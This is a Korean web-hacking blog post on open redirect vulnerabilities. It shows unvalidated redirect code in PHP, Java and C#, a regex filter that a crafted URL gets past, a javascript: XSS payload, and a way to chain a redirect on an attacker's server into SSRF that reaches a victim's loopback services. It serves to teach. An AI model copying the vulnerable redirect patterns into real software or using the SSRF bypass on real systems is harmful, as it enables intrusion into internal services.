Unsafe/Unvalidated/Open Redirect

  • 해당 도메인 이외의 phishing site 등 malicious site로 이동할 수 있다는 건데... 사실 이 자체로 취약점이라고 하긴 좀 그렇긴 함...
  • 하지만 OWASP에서 말하길 trusted site에서 이동하는거라 눈치채지 못하는 유저도 있다. 고 하네
  • 그리고 scheme을 http로 제한하지 않는 경우 location에 `` javascript:alert(1);`` 넣는 식으로 XSS가 가능하기도 하고.

```
?url=http://external.malisious.site
```
```php
// PHP
header('Location: '.$_GET['url']);
```
```java
// java
response.sendRedirect(request.getParameter("url"));
```
```c#
// C# .NET
Response.Redirect(request.QueryString["url"]);
```

user input으로 넘어온 redirection target url도 필터링을 거치게 되는데, 이 때 보통 regex로 처리하기 때문에 실수가 나오기 쉽다.
e.g., 다음과 같은 코드는 `` http://asdf$domain``같이 적어도 통과할 수 있다.
```php
    $url = $_GET['url'];
    $domain = $_SERVER['SERVER_NAME'];
    if (!preg_match("/http:\/\/.*?$domain\//", $url))  exit();
```

Redirect VS Forward VS SSRF

Redirect

Client 측 웹 브라우저에 ``c HTTP 301 || 302``를 보내 다른 URL로 이동하도록 명령한다.
웹 브라우저는 주소를 해당 URL로 변경하며 이동한다.
이 때 이동할 수 있는 페이지에 제한이 없기 때문에, external page로 이동할 수 있다.
JSP : 새로운 페이지에서 request와 response 객체가 새롭게 생성된다.

Forward

web container 단위에서의 페이지 이동만 가능하다.
웹 브라우저가 다른 페이지로 이동했는지 아닌지를 알 수 없다.
따라서 웹 브라우저의 주소창에 표시되는 URL은 그대로다.
JSP : 새로운 페이지로 Forward할 때 request와 response 객체를 전달한다.

SSRF ( 필터링 우회 )


http://my-server.com/run.php source
```php
<?php
header("Location: http://127.0.0.1:[port]");
?>
```
  1. `` ?url=http://my-server.com/run.php``를 SSRF 등으로 victim에서 ``php include``하도록 함.
  2. victim은 my-server로 `` run.php``를 요청
  3. `` run.php``는 my-server에서 실행되는게 아니라, victim에서 실행됨
  4. victim에서 실행한 `` run.php`` 결과 반환
따라서 victim의 loopback에서 돌아가는 비공개 서비스에도 접근할 수 있다.
URL schema를 `` gopher://``등으로 변경해야 하는 경우, 데이터를 가공해야 하는 경우
일단 내 서버로 요청하게 한 다음 내 서버에서 요청을 적당히 처리해 반환하도록 구성할 수 있다.


'Security > WebHacking' 카테고리의 다른 글

redis를 통해 webshell upload  (0) 2017.10.05
XXE, XML eXternal Entity  (2) 2017.09.21
Unsafe redirect  (1) 2017.09.21
SSRF  (1) 2017.09.19
XSS / CSRF  (0) 2017.09.19
Blind SQL Injection  (0) 2017.08.08